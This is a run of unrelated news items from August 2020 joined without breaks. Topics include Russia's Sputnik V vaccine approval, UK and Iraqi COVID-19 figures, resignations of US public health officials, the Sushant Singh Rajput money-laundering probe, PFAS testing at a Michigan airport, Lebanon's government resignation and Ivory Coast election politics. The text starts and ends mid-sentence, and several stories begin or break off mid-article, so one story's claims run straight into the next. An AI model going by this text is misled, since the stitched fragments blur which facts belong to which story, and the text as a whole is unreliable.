who appeared for the Speaker said that there is no malafide in the order of the Speaker as there is a complete merger of the BSP Legislature Party with the Congress. Sibal pointed out that in Goa there was a similar precedent when most Congress MLAs joined the BJP. Sputnik V can only be used on people within the age groups of 18-60 as more studies need to ensure the vaccine is safe for older people. Editor's Note: This story was first published on 6 August 2020 and has been republished on 12 August due to the launch of the vaccine. This is an ongoing story and will be updated as and when new information comes in. In a race to find a vaccine that will protect people from the novel coronavirus, six candidates from around the world are now in phase three of human trials. Recent reports from Russia claim that one of their candidates has completed safety and efficacy testing in human trials successfully. Russia will reportedly begin producing the vaccine soon and already has plans for a massive, country-wide vaccine drive. Russia currently has two COVID-19 vaccine candidates in the race one, a vaccine being developed by the Vektor State Research Center of Virology and Biotechnology. The second is a vaccine being produced by the Gamaleya Scientific Research Institute of Epidemiology and Microbiology along with the Russian Defence Ministry. As of 1 August, TASS reported that Phase 1 and 2 clinical trials of the Gam-COVID-Vac Lyo the vaccine candidate from the Gamaleya Scientific Research Institute were complete. Sputnik V uses the common cold-causing adenovirus thats been modified to carry genes for the spike protein that coats the coronavirus, as a way to prime the body to recognize if a real COVID-19 infection comes along. TASS reported the head of the Russian Direct Investment Fund (RDIF) Kirill Dmitriev as saying that people who were injected with Gam-COVID-Vac Lyo developed immunity 21 days after receiving the first dose. Their immunity has doubled after they received the second injection, he added. The vaccine is supposed to help people develop immunity to the virus for at least two years. "I can tell you, from the first and second phase we have a hundred percent of people developing immunity after day 21. It doubles after the second shot. Hundred percent of animals were also protected (against the novel coronavirus)," Dmitriev told TASS. However, Sputnik reported that the vaccine can only be used on people within the age groups of 18-60. More studies need to be conducted to ensure the vaccine is safe for older people. This will be done in the post-registration clinical trials. "In Russia, it is customary to certify [vaccines for] children from birth to 18 years old; adults from 18 to 60 years old; and older people over 60 years old," said Vladimir Bondarev, the head of the Russian Health Ministry's Scientific Centre for Expert Evaluation of Medicinal Products. "Clinical studies have now been carried out on a group of volunteers aged from 18 to 60 years old. Thus, this vaccine is now indicated for use in people from 18 to 60 years old." However, it was only on 13 July that the reports came out with Russia claiming that their two-part phase I trial was a success. Russia has not publicly shared any findings from the vaccine trials. The World Health Organisation has been tracking over 160 leading COVID-19 vaccine candidates and hasn't reported the Gamaleya vaccine clearing the second or third phases of trials in humans. Health experts are worried that Russia is cutting corners and fast-tracking the process, putting people at risk. The WHO also stepped in and has urged the country to follow the established guidelines to produce a 'safe and effective vaccine'. [Also read: WHO in close contact with Russian health ministry for 'rigorous review' of safety, efficacy data of 'Sputnik V' COVID-19 vaccine] WHO spokesman Christian Lindmeier said at a press conference, "Sometimes individual researchers claim they have found something, which is of course, as such, great news. But between finding or having a clue of maybe having a vaccine that works, and having gone through all the stages, is a big difference." Dr Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases in the United States cautioned, I do hope that the Chinese and the Russians are actually testing the vaccine before they are administering the vaccine to anyone." In a report by Bloomberg, Svetlana Zavidova the Executive Director of the Association of Clinical Trials Organizations said. Why are all corporations following the rules, but Russian ones arent? The rules for conducting clinical trials are written in blood. They cant be violated." This is a Pandoras Box and we dont know what will happen to people injected with an unproven vaccine, she added. "Vaccines that are not properly tested can cause harm in many ways from a negative impact on health to creating a false sense of security or undermining trust in vaccinations," Thomas Bollyky, director of the global health program at the Council on Foreign Relations told The Associated Press. On 2 August, Chief of Russias sanitary watchdog Anna Popova tried to reassure everyone in an interview on the Rossiya-1 television channel by saying, "I have no doubts that the vaccine (against the novel coronavirus) that is to reach people will be absolutely safe and, of course, efficient." "I would like to hope that the (immunity) will be sustainable and lasting," she added. The Russian Defence Ministry also stepped in to clarify that it "tests the vaccine on volunteers in full compliance with the acting legislation and scientific methodological regulations, in order to prevent further risks, without any attempt to reduce the duration of the research." World's 'first' COVID-19 vaccine On 12 August, Russia had approved Sputnik V (the official name of the vaccine) and registered it as the first Coronavirus vaccine, while the world looked on with concern since they had not completed the phase III of the clinical trial. Phase III is the only way to know with statistical certainty whether a vaccine can prevent an infection, and how effective it is. And because it tests a much larger group of people, a Phase 3 trial can also detect more subtle adverse effects of a vaccine that earlier trials could not. The very next day, under 24 hours, the Health Minister Mikhail Murashko had announced that mass production of the vaccines have already begun. Within two weeks time, the vaccine will be delivered to Russian hospitals and will be given to people who volunteer for it including doctors. The WHO has responded to Russia's claim and said that a rigorous review of the vaccine's safety data needs to be submitted if the country wants the WHO's stamp of approval. "Pre-qualification of any vaccine includes the rigorous review and assessment of all the required safety and efficacy data," Tarik Jasarevic, spokesperson for WHO, said during an online press briefing. "We are in close contact with the Russian health authorities and discussions are ongoing with respect to possible WHO pre-qualification of the vaccine." Production of vaccine to begin A Reuters report, citing an anonymous source, said that Russia's first potential vaccine will be approved by regulators this month. Production of this vaccine is all set to begin September. Industry and Trade Minister Denis Manturov said in an interview with TASS said "The Gamaleya Institute is working on serial production with three enterprises with facilities in the Vladimir, Yaroslavl and Moscow regions, those are Generium, R-Pharm and Binnopharm... We very much hope that serial production will start as early as in September." While no exact numbers were given, Manturov said that 'several thousands of doses' will be produced each month this year. By 2021, Russian companies will produce 'several million' doses of the Gamaleya National Research Institute of Epidemiology and Microbiology vaccine. Dmitriev, in an interview with the Rossiya-24 TV channel, said that more than 20 countries from around the world have shown interest in producing the Russian vaccine. "Our foreign partners express great interest in producing this vaccine in their countries. There is great interest from Brazil, from India, from many other countries that are very much looking forward to the Russian vaccine, the first vaccine in the world," Dmitriev told TASS. "And more than five countries are now actively working with us to start producing the Russian vaccine," he added. Mass vaccination by October On 1 August, Murashko said that Russian plans on starting a mass vaccination campaign against the novel coronavirus in October. According to a report by Livemint, the vaccine will be first given to doctors and teachers. "We plan wider [vaccination] for October because we need to launch a new system of treatment gradually," Murashko said according to a report by TASS. The vaccine will also be 'free of charge' and the cost will be taken from the country's budget. Vektor vaccine The EpiVacCorona vaccine being produced by the Vektor State Research Center and the Biotechnology of the Federal Service for Surveillance on Consumer Rights Protection and Human Wellbeing recently announced that they will begin mass production of the vaccine in November. They had begun their human trials on 24 July and as of 4 August 2020, only three volunteers out of five have been vaccinated with the fifth volunteer getting the first dose yesterday, 5 August. The age from 18-30 years. The EpiVacCorona doses will be administered again after 21 days. According to the Federal Service for Surveillance on Consumer Rights Protection and Human Wellbeing, Russia is developing 26 additional coronavirus vaccine candidates at 17 research institutions. Murashko said that in the next six to eight weeks, developers of two other vaccines will put in their permission request to start clinical trials on volunteers. Also Read: Cozy Bear: Everything we know about the hackers reportedly targeting COVID-19 vaccine research Russia's COVID-19 vaccine successfully completes first phase of human clinical trials Putin announces first 'registered' COVID-19 vaccine from Russia's Gamaleya Institute; his daughter among those inoculated How big a difference could it make? Since May, federal regulators have required nursing homes to submit data on coronavirus deaths each week, whether or not residents died in the facility or at a hospital. Because the requirement came after the height of New Yorks outbreak, the available data is relatively small. According to the federal data, roughly a fifth of the states homes reported resident deaths from early June to mid-July a tally of 323 dead, 65 percent higher than the states count of 195 during that time period. T he number of coronavirus deaths in UK hospitals has risen by eight to a total of 34,052. Six of the latest deaths from the virus occurred in English hospitals, while two fatalities were recorded in Wales. No new deaths have been reported in Scotland and Northern Ireland. Of the six latest England deaths, four were in the north west, one was in the Midlands and one was in the south east. In England alone, the number of confirmed reported coronavirus deaths in hospitals has reached 29,425, NHS England said on Tuesday. Yesterday, the Covid-19 death toll in UK hospitals increased by seven to a total of 34,044. All coronavirus patients whose deaths were confirmed today were aged between 46 and 96. All had known underlying health conditions. Eight other deaths were reported without a positive Covid-19 test result. Nicola Sturgeon announced on Tuesday that confirmed coronavirus cases in Scotland rose by 52 in a day. Speaking at the Scottish Government's coronavirus briefing, the First Minister said 27 of the new cases occurred in the NHS Grampian area, which covers the Aberdeen outbreak. Ms Sturgeon said it was unclear how many of these new cases were linked to the outbreak, but the rate of increase seemed to be slowing after a local lockdown was imposed. The Aberdeen City Council area was put under local lockdown last Wednesday. Shops, restaurants and bars were made to close, and residents were banned from having visitors to their homes. A five-mile travel limit was also put in place. The lockdown measures are due to be reviewed on Wednesday. Ms Sturgeon said there have been 253 coronavirus cases in Aberdeen since the outbreak began on July 26 of which 165 are definitely associated with the outbreak. She added: "The rate of increase appears at this stage to be slowing down but of course we remain very vigilant." The total number of people in Scotland who have tested positive for the virus has risen to 19,079. Since the local lockdown, Scotland has recorded no coronavirus deaths for 26 consecutive days. The total death toll in Scotland is 2,491. Some 269 people are currently hospitalised in Scotland for coronavirus, with three in intensive care. Another two people who tested positive for coronavirus in Wales have died, bringing the total number of deaths since the beginning of the pandemic to 1,581. Public Health Wales announced 13 new diagnosed Covid-19 cases, bringing the total number of confirmed cases to 17,476. Northern Ireland reported no new coronavirus deaths, the Department of Health said. Unfortunately, the only way of doing that today is by going through old photographs. But, there is one way of recreating the experience. All you have to do is visit the tiny island of Malta. There, you can find this abandoned Subaru showroom full of early 90s Subaru models that remain unmolested today. Those of us born in the mid- to late-90s never had the opportunity of visiting car dealerships at the time. If you did, well chances are you were still quite young would probably barely remember most of the details. Just imagine getting up close and checking out with all the legendary 90s cars some of us dream of owning today in their factory glory. Various models including Imprezas, Kei-cars, and even a rare first-generation XT (also called the Alcyone in Japan). Yes, before it became a trim level, on the Forester before, the XT was actually its very own model. All cars have never been driven and still show factory mileage. If you ever wanted to find the freshest GC/GF chassis Impreza outside of museums, these are probably it. For a full retro feel, the dealership doesnt even use the Subaru logo or name. Instead, the sign still says Fuji, which stands for Fuji Heavy Industries. Other era-correct signs include the air-conditioning advertising on display. Yes, air-conditioning was not a standard feature on cars back in the day. You may be wondering why the cars look fresh and the tires arent flat even after more than 25 years. Thats because the person who owns the dealership still supposedly lives across the street. It is also the same reason why some of the photos show different cars on display inside the same dealership. Before you ask, the owner reportedly refuses to sell the cars to anyone. So no, you cant buy any of them if thats what youre thinking. At least you know the next time you do end up visiting Malta, you can experience what it was like shopping at a Subaru dealership during its golden days. Vilified, threatened with violence or in some cases suffering from burnout, dozens of state and local public health officials around the U.S. have resigned or have been fired amid the coronavirus outbreak, a testament to how politically combustible masks, lockdowns and infection data have become. One of the latest departures came Sunday, when California's public health director, Dr. Sonia Angell, was ousted following a technical glitch that caused a delay in reporting virus test results information used to make decisions about reopening businesses and schools. Last week, New York City's health commissioner was replaced after months of friction with the police department and City Hall. A review by KHN and The Associated Press finds at least 49 state and local public health leaders have resigned, retired or been fired since April across 23 states. The list has grown by more than 20 people since the AP and KHN started keeping track in June. Dr. Tom Frieden, former director of the Centers for Disease Control and Prevention, called the numbers stunning. He said they reflect burnout, as well as attacks on public health experts and institutions from the highest levels of government, including from President Donald Trump, who has sidelined the CDC during the pandemic. "The overall tone toward public health in the U.S. is so hostile that it has kind of emboldened people to make these attacks," Frieden said. The past few months have been frustrating and tiring and disheartening for public health officials, said former West Virginia public health commissioner Dr. Cathy Slemp, who was forced to resign by Republican Gov. Jim Justice in June. "You care about community, and you're committed to the work you do and societal role that you're given. You feel a duty to serve, and yet it's really hard in the current environment, Slemp said in an interview Monday. The departures come at a time when public health expertise is needed more than ever, said Lori Tremmel Freeman, CEO of the National Association of County and City Health Officials. "We're moving at breakneck speed here to stop a pandemic, and you can't afford to hit the pause button and say, 'We're going to change the leadership around here and we'll get back to you after we hire somebody,'" Freeman said. As of Monday, confirmed infections in the United States stood at over 5 million, with deaths topping 163,000, the highest in the world, according to the count kept by Johns Hopkins University researchers. The confirmed number of coronavirus cases worldwide topped 20 million. Many of the firings and resignations have to do with conflicts over mask orders or shutdowns to enforce social distancing, Freeman said. Despite the scientific evidence that such measures help prevent transmission of the coronavirus, many politicians and others have argued they are not needed, no matter what health experts tell them. "It's not a health divide; it's a political divide," Freeman said. Some health officials said they were stepping down for family reasons, and some left for jobs at other agencies, such as the CDC. Some, like Angell, were ousted because of what higher-ups said was poor leadership or a failure to do their job. Others have complained that they were overworked, underpaid, unappreciated or thrust into a pressure-cooker environment. "To me, a lot of the divisiveness and the stress and the resignations that are happening right and left are the consequence of the lack of a real national response plan, said Dr. Matt Willis, health officer for Marin County in Northern California. And we're all left scrambling at the local and state level to extract resources and improvise solutions." Public health leaders from Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases, down to officials in small communities have reported death threats and intimidation. Some have seen their home addresses published or been the subject of sexist attacks on social media. Fauci has said his wife and daughters have received threats. In Ohio, the state's health director, Dr. Amy Acton, resigned in June after months of pressure during which Republican lawmakers tried to strip her of her authority and armed protesters showed up at her house. It was on Acton's advice that GOP Gov. Mike DeWine became the first governor to shut down schools statewide. Acton also called off the state's presidential primary in March just hours before polls were to open, angering those who saw it as an overreaction. The executive director of Las Animas-Huerfano Counties District Health Department in Colorado, Kim Gonzales, found her car vandalized twice, and a group called Colorado Counties for Freedom ran a radio ad demanding that her authority be reduced. Gonzales has remained on the job. In West Virginia, the governor forced Slemps resignation over what he said were discrepancies in the data. Slemp said the departments work had been hurt by outdated technology like fax machines and slow computer networks. Tom Inglesby, director of the UPMC Center for Health Security at Johns Hopkins, said the issue amounted to a clerical error easily fixed. Inglesby said it was deeply concerning that public health officials who told "uncomfortable truths" to political leaders had been removed. "That's terrible for the national response because what we need for getting through this, first of all, is the truth. We need data, and we need people to interpret the data and help political leaders make good judgments," Inglesby said. Since 2010, spending on state public health departments has dropped 16% per capita, and the amount devoted to local health departments has fallen 18%, according to a KHN and AP analysis. At least 38,000 state and local public health jobs have disappeared since the 2008 recession, leaving a skeleton workforce for what was once viewed as one of the world's top public health systems. Another sudden departure came Monday along the Texas border. Dr. Jose Vazquez, the Starr County health authority, resigned after a proposal to increase his pay from $500 to $10,000 a month was rejected by county commissioners. Starr County Judge Eloy Vera, a county commissioner who supported the raise, said Vazquez had been working 60 hours per week in the county, one of the poorest in the U.S. and recently one of those hit hardest by the virus. "He felt it was an insult," Vera said. In Oklahoma, both the state health commissioner and state epidemiologist have been replaced since the outbreak began in March. In rural Colorado, Emily Brown was fired in late May as director of the Rio Grande County Public Health Department after clashing with county commissioners over reopening recommendations. The person who replaced her resigned July 9. The months of nonstop and often unappreciated work are prompting many public health workers to leave, said Theresa Anselmo of the Colorado Association of Local Public Health Officials. "It will certainly slow down the pandemic response and become less coordinated," she said. "Who's going to want to take on this career if you're confronted with the kinds of political issues that are coming up?" Weber reported from St. Louis. Associated Press writers Paul Weber, Sean Murphy and Janie Har and California Healthline senior correspondent Anna Maria Barry-Jester contributed reporting. This story is a collaboration between KHN and The Associated Press. By Ayya Lmahamad Chairman of Azerbaijan Railways Javid Gurbanov has spoken about the importance of improving the companys efficiency and speeding up the work to revise relations in the management system. Gurbanov made the remarks during the companys board meeting held on August 11, following President Ilham Aliyevs critical remarks about the company on August 6. It was stated during the meeting that Azerbaijan Railways will take measures to improve its efficiency and optimize costs. It was also stated that Azerbaijan has ensured active participation in the implementation of regional transport corridors, as well as the Baku- Tbilisi- Kars and North- South projects. Likewise, a number of measures have been taken to improve corporate and personnel management, digital transformation projects, financial system modernization, debt restructuring as part of cooperation with the Asian Development Bank in the field of institutional reforms. Additionally, it was noted that despite the coronavirus pandemic in the world, the volume of freight traffic has increased compared to the first half of last year. Azerbaijan Railways signed a contract with McKinsey & Company, and started working on the development of the Corporate Strategy of Azerbaijan Railway until 2030. --- Follow us on Twitter @AzerNewsAz Axiata has converted its Nepalese unit Ncell into a public limited company branded as Ncell Axiata Limited. The operator was previously registered as Ncell Pvt Ltd, but in accordance with the Company Act of 2006, any telecom company with paid-up capital over NPR50 million (US$413,151) must re-register as a public company. As noted by CommsUpdate, Ncells paid-up public capital stands at NPR100 million. As a public firm, Ncell must make 20% of its shares available for public purchase, although it has not yet revealed how it intends to do so. Currently Ncell is 80% owned by Axiata Group, and 20% owned by local firm Sunivera Capital Ventures. Separately from its new status as a public company, Ncell has also announced the launch of a new fixed-wireless broadband service for domestic and enterprise use, branded as Wirefree+. Source: Xinhua| 2020-08-11 11:54:29|Editor: huaxia Video Player Close BOGOTA, Aug. 10 (Xinhua) -- Washington's latest quarrel with China over the latter's technological advances, and its attempts to meddle with China's domestic affairs have met with wise discretion of Chinese officials, Colombian political observer Lorenzo Maggiorelli has said. Maggiorelli, a professor of political science at Bogota's Jorge Tadeo Lozano University, said that China's prudence was evident in recent statements by Chinese Foreign Minister Wang Yi, who rejected any attempt to start a "new Cold War" that would destabilize both nations and risk global progress. "I do not believe there will be a 'new Cold War' between the two powers. The two countries have great economic, trade and financial interdependence. Personally, I believe the two countries can resolve their differences through dialogue, as they have cooperated in the past," Maggiorelli said. While the issues that generate tension between China and the United States are multiple and complex, the issues that unite them are weightier enough to save bilateral ties, he said. Asked about Washington's criticism of the World Health Organization (WHO) and decision to withdraw from the organization amid the COVID-19 pandemic, Maggiorelli said the U.S. decision to withdraw from the organization is "undoubtedly due to political reasons and not health concerns," Maggiorelli said. "I believe that the U.S. actions aim to maintain its dominance in the world order" by pursuing unilateralism, he said. But its efforts to sow discord are likely to fail, noted Maggiorelli, because "the United States no longer has as much power as before, and European, Asian, African and Latin American countries want to cooperate with both countries and maintain peaceful relations." Still, it will be necessary to establish a clear framework for relations between China and the United States, given the current complex situation of ties, he said. "Of course, greater clarity and greater rapprochement on the part of both countries are needed. Therefore, the role of diplomats from both parties will be essential to negotiate solutions to the problems, without ever needing the use of force," said Maggiorelli. To that end, diplomacy can also rely on international law and organizations such as the United Nations and the World Trade Organization (WTO) to resolve multilateral disputes, he said. Maggiorelli said he agreed with the Chinese foreign minister that it was futile for the United States to try and interfere in China's internal affairs, saying it underestimated the strong bond between the Chinese people and the ruling Communist Party of China. In his most recent exclusive interview with Xinhua, Wang called on the U.S. government to give up its failed attempts to destabilize the country and to respect China's socialist system. Looking to the future, Maggiorelli highlighted the relevance of Chinese President Xi Jinping's vision of building a community with a shared future for mankind. "Countries are already working together to solve the world's problems, but it is normal for there to be different tensions and interests," he said. Enditem Source: Xinhua| 2020-08-10 22:11:12|Editor: huaxia Video Player Close BAGHDAD, Aug. 10 (Xinhua) -- The Iraqi Health Ministry on Monday recorded 3,484 new COVID-19 cases, the highest daily increase since the outbreak of the disease, while an Iraqi health official said that Iraq is communicating with advanced companies producing coronavirus vaccines. The new cases brought the total nationwide infections to 153,599, as the ministry's health teams and institutions have used 19,663 testing kits across the country during the day, raising the total testing kits used so far to 1,165,049, the ministry said in a statement. It also reported 72 fatalities during the day, raising the death toll to 5,464, while 2,015 more patients recovered in the day, bringing the total number of recoveries to 109,790. Meanwhile, the Deputy Health Minister Hazim al-Jumaili said in a statement that the ministry is following-up advanced international companies producing the anti-COVID-19 vaccine. The ministry has contact with the companies to know when the vaccine will be produced, al-Jumaili told the official Iraqi News Agency (INA). "If the vaccine is proven to have good results, it will be provided in the Iraqi hospitals," al-Jumaili said. "Iraq will reserve the first vaccine that appears for coronavirus after ensuring its safety, efficiency, and prices," he noted. Since the outbreak of the novel coronavirus, Iraq has been taking measures to contain the pandemic. China has been helping Iraq fight the COVID-19 pandemic. From March 7 to April 26, a Chinese team of seven medical experts spent 50 days in Iraq to help contain the disease, during which they helped build a PCR lab and install an advanced CT scanner in Baghdad. Since March 7, China has also sent three batches of medical aid to Iraq. Enditem Pithani and Modi arrived at the office of the central probe agency in the Ballard Estate area around 11 am Mumbai: The Enforcement Directorate (ED) on Tuesday questioned Sushant Singh Rajput's friend and roommate Siddharth Pithani and the late actor's business manager Shruti Modi in connection with a money laundering case linked to his death. Pithani and Modi arrived at the office of the central probe agency in the Ballard Estate area around 11 am in response to their scheduled summons, officials said. Both of them were questioned by the agency on Monday and their statements were recorded under the Prevention of Money Laundering Act (PMLA). Shruti Modi was questioned last week too. Pithani, an IT professional, had told various news channels that he was present in the Bandra flat on June 14 when the 34-year-old actor allegedly hanged himself. Pithani, who Rajput used to call 'Buddha', is stated to be living with Rajput for about a year, and had earlier recorded his statement with the Mumbai Police as part of its accidental death report (ADR) probe in the case. On Monday, the ED questioned the prime accused in the case, actor Rhea Chakraborty (28), for about nine hours. She has been questioned for around 18-19 hours till now. Her father Indrajit Chakraborty and brother Showik have also been questioned for varied lengths of time earlier. The ED is also expected to question one of Rajput's three sisters in this case on Tuesday or Wednesday. Rhea, her family and a friend of Rajput are expected to be called in for questioning again. The ED had also questioned the chartered accountants (CAs) of Rhea and Rajput and the deceased actor's house manager Samuel Miranda in the past. The agency is understood to have questioned Rhea, who stated in her petition to the Supreme Court that she was in a live-in relationship with Rajput, about her friendship with the late actor, business dealings and the developments that took place over the last few years between them. The ED's line of questioning, officials said, is revolving around Rhea's income, investments, business and professional deals, and links. Also under the ED's scanner is a property located in the city's Khar area and another in Raigad district of the state, both linked to Rhea, for the source of purchase and ownership. Agency sources have said they "want more answers" from Rhea over the alleged mismatch between her income, expenditure and investments. They said while Rhea has filed Income Tax Returns stating an income of about Rs 18 lakh in the recent past, the value of her investments is reportedly higher. Her father, they said, is a retired defence personnel who gets a pension of around Rs one lakh per month. The sources said Rhea told the agency that she had made the property investments from her income, savings and has also taken bank loans. Rhea has been accused by Rajput's father of abetting his son's suicide and she had initially refused to appear before the agency citing her appeal pending before the Supreme Court that is slated to be heard on Tuesday. Her lawyer Satish Maneshinde had said Rhea is a law-abiding citizen and would cooperate with the probe. She has filed a petition in the apex court requesting that the case lodged by the Bihar Police against her be transferred to the Mumbai police. Rhea, through her lawyer, also shared a picture of a note on Saturday which she claimed was written by Rajput to express his gratitude towards her and her family. She also shared a photograph of a water sipper, which is a piece of movie merchandise from Rajput's 2019 film "Chhichhore". "The only property of Sushant that I possess," she said in a message sent along with the photo to the media. The ED, during the questioning sessions, is learnt to have confronted Rhea, Showik and Modi with certain bank statements that purportedly show transfer of small amounts into Showik's accounts from those of Rajput and Chakraborty. Rajput's 74-year-old father K K Singh, who resides in Patna, had on July 25 filed a complaint with the Patna police against Rhea, her parents (including mother Sandhya Chakraborty), Showik, Rajput's manager Samuel Miranda, Shruti Modi and unknown persons accusing them of cheating and abetting his son's suicide. The CBI had re-registered this FIR as a fresh case on Thursday and named as accused the same people. Singh also alleged financial irregularities in bank accounts of his son. In the complaint, Singh alleged that an amount of Rs 15 crore was siphoned off from Rajput's bank account in one year to accounts of persons not known or connected to the late actor. Under the ED's scanner are also at least two companies linked to Rajput and some financial deals involving Rhea, her father and Showik, who are stated to be directors in these companies. BATTLE CREEK, MI - The city will be testing for toxic chemicals at Battle Creek Executive Airport. A $196,093 state grant was awarded to support monitoring and testing for per- and polyfluoroalkyl substances (PFAS) contamination, according to the Michigan PFAS Action Response Team (MPART). Eight recipients received $1.5 million. Battle Creek officials said the investigation will test for PFAS in the soil, stormwater, and groundwater at pre-identified sites where accidents may have caused Aqueous Firefighting Foam (AFFF) to leak into the ground. LimnoTech, an environmental consultant agency out of Ann Arbor, will focus the investigation on sites where the city of Battle Creek aircraft rescue and firefighting services have used firefighting foam, according to a city of Battle Creek press release. The city took over airport firefighting services from the Michigan Air National Guard in 2014. Officials say the grant allows investigation only of nonmilitary uses of potential PFAS. This isnt the first time PFAS has been tested around the airport site. The chemical contaminant was found in 2016 after environmental samples were collected by the Department of Military and Veterans Affairs at the Battle Creek Air National Guard Base. A 2015 preliminary assessment identified 13 areas where firefighting foam was used at Battle Creek Air National Guard Base. The report said that 1,620 gallons of firefighting foam containing PFAS compounds were stored in several buildings throughout the base. City officials say that the grant has to be used within 18 months, and a report will be submitted to the state Department of Environment, Great Lakes, and Energy (EGLE) and Michigan Department of Transportation Aeronautics. PFAS are a large group of man-made chemicals that have been used in many consumer and industrial products, such as non-stick cookware, waterproof fabrics and firefighting foam. AFFF used for training and emergency response has resulted in many examples of ground and surface water pollution, including at military bases and airports where federal rules have required the foams use. Some fire departments in the state have switched to fluorine-free foams. The Ann Arbor Fire Department switched last year. Official said the new foam works well, but more must be used. New Hampshire banned most uses of AFFF as of Jan. 1, 2020. Other states also initiated recent regulations, including Colorado, Georgia, and Arizona. Throughout the state, more than 30,000 gallons of toxic fluorochemical foam has been collected from municipal fire departments and commercial airports as part of a program directed by the EGLE and the state fire marshals office. PFAS-contaminated drinking water has been discovered at or near the closed K.I. Sawyer Air Force Base near Marquette, Alpena National Guard Training Center, the Camp Grayling joint maneuvers base and both Battle Creek and Selfridge Air National Guard bases. Following city testing in 2018, PFAS were not found at any level in Battle Creeks drinking water, according to the city. The grants were announced on Aug. 4. Below are the other airports that received grants after the second round of MPART requests for proposals: Houghton County Memorial - $196,111 Gogebic/Iron County - $196,220 Kalamazoo/Battle Creek International - $196,250 Capital Region International - $196,250 Negaunee (former) Marquette County Regional - $160,925 Chippewa County International - $117,750 Sawyer International - $224,000 (originally submitted in the first round) Also on MLive: Michigan PFAS site list surges past 100 as new standards take hold Michigan collects 30k gallons of toxic PFAS firefighting foam 3M to pay $55M in Michigan PFAS settlement BEIRUT Lebanons prime minister announced his governments resignation on Monday, saying a huge explosion that devastated Beirut and triggered public outrage was the result of endemic corruption. The Aug. 4 detonation at a port warehouse of what authorities said was more than 2,000 tonnes of ammonium nitrate killed at least 163 people, injured more than 6,000 and destroyed swathes of the Mediterranean capital, compounding months of political and economic meltdown. Today we follow the will of the people in their demand to hold accountable those responsible for the disaster that has been in hiding for seven years, and their desire for real change," Prime Minister Hassan Diab said in a speech announcing the resignation. While Diabs move attempted to respond to popular anger about the blast, it also plunged Lebanese politics deeper into turmoil and may further hamper already-stalled talks with the International Monetary Fund (IMF) on a financial rescue plan. The talks, launched in May, were put on hold due to inaction on reforms and a row between the government, banks and politicians over the scale of vast financial losses. President Michel Aoun accepted the resignation and asked Diabs government - formed in January with the backing of Irans powerful Hezbollah group and its allies - to stay as a caretaker until a new cabinet is formed, a televised announcement said. Ahead of Diabs announcement, demonstrations broke out for a third day in central Beirut, with some protesters hurling rocks at security forces guarding an entrance leading to the parliament building, who responded with tear gas. For many ordinary Lebanese, the explosion was the last straw in a protracted crisis over the collapse of the economy, corruption, waste and dysfunctional governance, and they have taken to the streets demanding root-and-branch change. The entire regime needs to change. It will make no difference if there is a new government," Joe Haddad, a Beirut engineer, told Reuters. We need quick elections." The system of government requires Aoun to consult with parliamentary blocs on who should be the next prime minister, and he is obliged to designate the candidate with the greatest level of support among parliamentarians. Forming a government amid factional rifts has been daunting in the past. Now with growing public discontent with the ruling elite over the blast and a crushing financial crisis, it could be difficult to find a candidate willing to be prime minister. After former premier Saad Hariri stepped down in Oct. 2019 amid anti-government protests over perceived corruption and mismanagement, it took more than two months to form Diabs government. Diabs cabinet was under severe pressure to step down. Some ministers had already resigned over the weekend and Monday while others, including the finance minister, were set to follow suit, ministerial and political sources said. Diab said on Saturday he would request early parliamentary elections. ACCOUNTABILITY Aoun has said explosive material was stored unsafely for years at the port. In later comments, he said the investigation would consider whether the cause was external interference as well as negligence or an accident. The cabinet decided to refer the investigation of the blast to the judicial council, the highest legal authority whose rulings cannot be appealed, a ministerial source and state news agency NNA said. The council usually handles top security cases. Lebanese, meanwhile, are struggling to come to terms with the scale of losses after the blast wrecked entire areas. The economy was already a disaster and now I have no way of making money again," said Eli Abi Hanna, whose house and car repair shop were destroyed. It was easier to make money during the civil war. The politicians and the economic disaster have ruined everything." The Lebanese army said on Monday that another five bodies were pulled from the rubble, raising the death toll to 163. Search and rescue operations continued. Anti-government protests in the past two days have been the biggest since October, when angry demonstrations spread over an economic crisis rooted in pervasive graft, mismanagement and high-level unaccountability. An international donor conference on Sunday raised pledges worth nearly 253 million euros ($298 million) for immediate humanitarian relief, but foreign countries are demanding transparency over how the aid is used. Some Lebanese doubt change is possible in a country where sectarian politicians have dominated since the 1975-90 conflict. It wont work, its just the same people. Its a mafia," said Antoinette Baaklini, an employee of an electricity company that was demolished in the blast. (Additional reporting by Laila Bassam and Samia Nakhoul in Beirut, Michelle Nichols in New York; Writing by Ghaida Ghantous; Editing by Mark Heinrich, Angus MacSwan, William Maclean) Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Ivory Coasts former first lady Simone Gbagbo on Tuesday asked President Alassane Ouattara, her exiled husbands arch-foe, to grant the ex-strongman amnesty ahead of presidential elections in October. The former first lady and her husband Laurent Gbagbo were both charged over violence that killed some 3,000 people in 2010-2011 after Gbagbo refused to cede power to Ouattara following his electoral defeat. While she was jailed by Ivorian judges and later amnestied, her husband was transferred to the International Criminal Court (ICC) where he was eventually acquitted last year. I would like to appeal to the head of state to grant amnesty to make Laurent Gbagbo eligible, for the forthcoming election, said Simone Gbagbo in her first press conference since her release from prison two years ago. Whether Laurent Gbagbo contests the presidential election or not, he should be eligible, she said, asking Ouattara to give her husband a diplomatic passport, saying it was his right. She said such a move would facilitate reconciliation in the country, a former regional economic powerhouse that was rocked for a decade by a low-level civil war and political violence. Laurent Gbagbo, the first head of state to stand trial in The Hague, was freed conditionally by the ICC and has already applied for a passport. Belgium agreed to host Gbagbo after he was released under strict conditions, including his return to court for a prosecution appeal against his acquittal. An ICC spokesman has said Gbagbo can travel provided the destination agrees to receive him. Gbagbo has not said clearly if he will contest the October 31 election. His Ivorian Popular Front (FPI) has split into factions and his estranged former prime minister Pascal Affi NGuessan has already announced his candidacy. The vote has been turned on its head by the sudden death of prime minister Amadou Gon Coulibaly seen as Ouattaras anointed successor from a heart attack in July. Ouattara then threw his hat into the ring citing a case of force majeure after the death of his ruling RHDP partys candidate left a void. The constitution limits presidents to two five-year terms. But a new constitution was adopted in 2016, which Ouattara and his supporters argue reset the clock, allowing him to run again an interpretation strongly contested by the opposition. A youth opposition grouping close to Gbagbos party said they would demonstrate on Thursday against Ouattaras candidacy. The foreign ministers of the Lublin Triangle countries called on the Belarusian authorities to refrain from the use of force and to release all those detained during the protests. According to the Foreign Ministrys press service, the statement was made by the foreign ministers of Lithuania, Poland and Ukraine, Linas Linkevicius, Jacek Czaputowicz and Dmytro Kuleba. Respect for fundamental freedoms and human rights, including democracy and rule of law, is essential for further development of independent and sovereign Belarus, which we fully support. We 